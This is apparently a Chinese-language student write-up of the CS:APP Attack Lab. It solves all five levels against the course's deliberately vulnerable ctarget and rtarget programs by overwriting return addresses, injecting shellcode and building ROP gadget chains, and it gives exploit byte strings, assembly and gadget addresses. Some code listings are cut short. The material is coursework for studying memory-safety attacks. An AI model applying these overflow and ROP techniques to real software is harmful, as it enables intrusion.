实验介绍
本实验中,我们需要利用缓冲区溢出漏洞,来修改一个二进制可执行文件的运行时行为。
预备知识
缓冲区溢出的原理,参考《CSAPP原书第3版》
3.10小节gdb和objdump使用x86_64下的汇编
实验准备
首先获取实验所需文件target1.tar: http://csapp.cs.cmu.edu/3e/labs.html
linux下执行tar xvf target1.tar,得到如下文件。每个文件作用简述如下:
ctarget:代码注入攻击的程序。rtarget:ROP攻击的程序。cookie.txt: 记录cookie的值,攻击时需要用到。farm.c: 用于ROP攻击寻找gadget的文件。hex2raw:将ASCII码转化为字符串的小程序,用于构造攻击字符串。
实验共有5关,每一关的目标如下:
实验前,务必仔细阅读attackLab实验手册,可参考attacklab.pdf
第一关
这一关不需注入新的代码,只需要让目标程序ctarget重定向到一个已存在的过程即可。
ctarget中定义了test函数, test函数会调用getbuf函数,C代码如下:
1 | void test() { |
ctarget中还定义了touch1函数,C代码如下:
1 | void touch1() { |
本关的目标是:在getbuf函数返回时,令程序跳转到touch1()而不是从test()正常返回。
我们需要攻击getbuf函数,构造输入字符串,利用缓冲区溢出修改栈中的返回地址。
首先查看getbuf函数的汇编代码:
1 | 00000000004017a8 <getbuf>: |
从sub 0x28 %rsp看出, getbuf函数在栈上分配了40个字节。再看下test函数的汇编代码:
1 | (gdb) disassemble test |
这里callq指令将0x401976压栈,并跳转到getbuf; getbuf执行结束后,使用retq指令从栈中弹出0x401976,并作为返回地址跳转。
假设输入字符串是"1234567876543210", 程序执行到0x4017b4,此时栈组织如下:
因此,我们需要先把栈上40字节填满,然后将touch1的地址写到$rsp + 0x28处,覆盖原先正常的返回地址0x401976。下面找到touch1的地址为0x4017c0
1 | (gdb) disassemble touch1 |
构造攻击字符串, 写到文件hex1
1 | 00 00 00 00 00 00 00 00 # 前40个字节任意填,目的是将第40个字节之后的返回地址改写为touch1的地址 |
利用hex2raw工具将字节码转为字符串,写到文件answer1, 用法如下:
1 | ./hex2raw < hex1 > answer1 |
执行ctarget程序验证结果,其中-i指定字符串所在文件,-q必选参数
1 | # ./ctarget -q -i answer1 |
第二关
与第一关不同, 这关还需要在输入字符串中注入攻击代码。首先查看touch2代码:
1 | void touch2(unsigned val) { |
可以看出,我们需要在跳转到touch2的时候将cookie的值作为参数传递。思路如下:
将返回地址改写为栈中的注入代码的地址。栈的地址可以用
gdb跑一把程序确认在注入代码中,将
cookie值传递到%rdi。因为x86-64汇编使用%rdi作为第一个参数确定
touch2的起始地址并跳转。可利用push和ret指令实现跳转
首先确定栈的地址,在0x4017af callq 401a40 <Gets>处打断点,查看%rsp值
1 | # gdb ctarget |
得到栈的地址为0x5561dc78, 这正是我们注入代码所在的位置。
接下来需要将cookie值传给%rdi,再跳转到touch2。touch2地址可通过查看汇编代码得到,结果是0x4017ec;跳转到touch2的思路是:先利用push指令将touch2地址压栈,接着用retq从栈中弹出touch2地址并跳转。
编写如下注入代码,保存到文件inject2.s
1 | movl $0x59b997fa, %edi # cookie值为0x59b997fa |
执行gcc -c inject2.s, objdump -d inject2.o, 将汇编文件转为二进制, 得到如下机器码:
1 | 0000000000000000 <.text>: |
综上,得到我们需要输入的字符串
1 | bf fa 97 b9 59 68 ec 17 # 攻击代码位于地址0x5561dc78 |
此时的栈组织如下:
第三关
touch3代码如下:
1 | int hexmatch(unsigned val, char *sval) { |
和第二关类似,我们需要传入cookie字符串并跳转到touch3。但需要注意hexmatch函数被调用后,会覆盖一部分getbuf的缓冲区。为了避免这一点,可以将cookie字符串放到test的栈帧里。这一关的思路如下:
将返回地址改写为注入代码所在的地址。栈的地址可以用
gdb跑一把程序确认将
cookie字符串放到test的栈帧里。在注入代码中,将cookie串的首地址传递到%rdi。确定
touch3的起始地址并跳转。可利用push和ret指令实现跳转
与第二关类似,编写如下注入代码,保存到文件inject3.s
1 | mov $0x5561dca8,%rdi # 将cookie字符串放到test栈帧中,这里放到返回地址(0x5561dca0)+0x8处 |
执行gcc -c inject3.s, objdump -d inject3.o, 将汇编文件转为二进制, 得到如下机器码:
1 | 0000000000000000 <.text>: |
我第一次写这块汇编代码时,犯了两个错误:
将
$0x5561dca8错写成$0x5561dca4, 导致段错误。注意64位机器上执行压栈和退栈操作,栈指针%rsp应该减去或加上8,而不是4pushq $0x4018fa中漏写了$符号,导致压栈的数据不对。注意对立即数操作时必须加上$符号
用man ascii查表 ,将字符串59b997fa转成ASCII码:35 39 62 39 39 37 66 61
综上,得到我们需要输入字符串
1 | 48 c7 c7 a8 dc 61 55 68 # 攻击代码位于地址0x5561dc78 |
此时的栈组织如下:
第四关
在前三关,我们插入攻击代码,同时插入指向攻击代码的指针,而产生这个指针需要跑下代码确认栈的地址。但是在第四、五关的rtarget程序中,采用了如下策略防止代码注入攻击:
- 栈随机化,每次运行相同的程序,它们的栈地址是不同的。
- 限制可执行代码区域,栈是不可执行的。
既然注入代码不可行,能不能利用已有的可执行代码来实现目的呢?以下介绍一种叫ROP的攻击方式
ROP
即return-oriented-programming。策略是寻找已有的一些以ret命令结尾的指令(每条这样的指令称为gadget),通过在这些gadget之间不断跳转,拼凑处我们想要的指令来实现攻击目的,如下图:(c3是retq的字节码)
在rtarget程序中,有很多这样的gadget可以利用,举例如下:
1 | 00000000004019a0 <addval_273>: |
注意到48 89 c7恰好是movq %rax, %rdi的编码, c3表示ret指令。因此这段代码包含了一个gadget,且起始地址为0x4019a2。也就是说,如果我们改写栈的返回地址到0x4019a2,就可以执行movq %rax, %rdi和ret两条已有指令,绕过了栈上不可执行代码的限制。思路如下:
- 将
cookie值传递给%rdi,难点在于如何用已有的gadget拼凑出我们需要的指令,可参考如下的指令表。 - 将
touch2的起始地址放到栈中。查看汇编代码得到touch2地址为0x4017ec。![]()
![]()
![]()
![]()
另外,ret的字节编码是0xc3;nop的字节编码是0x90,啥也不做,只是将%rip加1。
可以在start_farm和end_farm之间找到所有可利用的gadget。
1 | 0000000000401994 <start_farm>: |
为了将cookie传给%rdi,可以先将cookie的值写到栈,再利用popq %rdi指令实现。
查表可知pop的编码在58 ~ 5f。全局搜索后没找到5f c3或5f 90 c3,说明不能用$popq %rdi一步到位;但是可以在addval_219中找到58 90 c3,先将栈中的值弹出传到%rax。记录起始地址为0x4019ab。
接着想办法把%rax的值传递到%rdi。查表,在gadget中找到48 89 c7,也就是movq %rax, %rdi指令,可以在<addval_273>中找到,而且后面正好跟了c3,记录起始地址为0x4019a2。
到此,我们完成了gadget的拼凑,输入的字符串如下:
1 | 00 00 00 00 00 00 00 00 |
此时的栈组织如下:
第五关
和第三关类似,这关需要将cookie字符串的首地址传给%rdi, 再调用touch3。
由于栈位置是随机的,需要用栈顶地址+偏移来确定cookie串的位置。 栈顶地址即$rsp,可通过mov %rsp XXX获取,偏移需要根据gadget指令的长度来确定。
如何将cookie串地址传到%rdi呢?可以在farm.o中可以找到如下的gadget
1 | 00000000004019d6 <add_xy>: |
再结合所有gadget,多次尝试后发现一个可行解,如下:
将
%rsp传给%rdi,利用mov实现。将偏移传给
%rsi, 需利用pop和多个mov实现。偏移量需要在找到所有gadget后通过计算得出。用
lea (%rdi,%rsi,1),%rax,将cookie串的首地址传给%rax将
%rax传给%rdi,利用mov指令
具体步骤
1. 将%rsp传给%rdi
通过movq %rsp,%rax,movq %rax,%rdi实现:
1 | 0000000000401aab <setval_350>: |
movq %rsp,%rax编码为48 89 e0, 地址为0x401aad。
movq %rax %rdi编码为48 89 c7,地址为0x4019a2。
2. 将偏移传给$rsi
先将偏移写到栈里,再通过如下4条指令传到$rsi:
1 | pop %rax |
在以下的gadget中找到这4条指令:
1 | 00000000004019ca <getval_280>: |
pop %rax编码为58, 地址为0x4019cc。
mov %eax %edx编码为89 c2,地址为0x4019dd。
mov %edx %ecx编码为89 d1,地址为0x401a34。
mov %ecx,%esi编码为89 ce,地址为0x401a13。
利用lea ($rdi,%rsi,1),%rax,地址为0x4019d6。
4. 将%rax传给$rdi
1 | 00000000004019c3 <setval_426>: |
mov %rax,%rdi编码为48 89 c7,地址为0x4019c5。
到此,我们完成了gadget的构造,只需继续在栈中依次填入touch3返回地址,cookie字符串,0(字符串结束标志),再确定偏移即可。
偏移应该是cookie字符串首地址减去(返回地址+0x8), 中间隔了9条指令,因此偏移量为72, 即0x48
输入的字符串如下:
1 | 00 00 00 00 00 00 00 00 |
此时的栈组织如下:
总结
通过这次实验,初步了解栈和缓冲区溢出的原理,以及安全编码的重要性。
参考资料
《深入理解计算机系统 原书第3版》



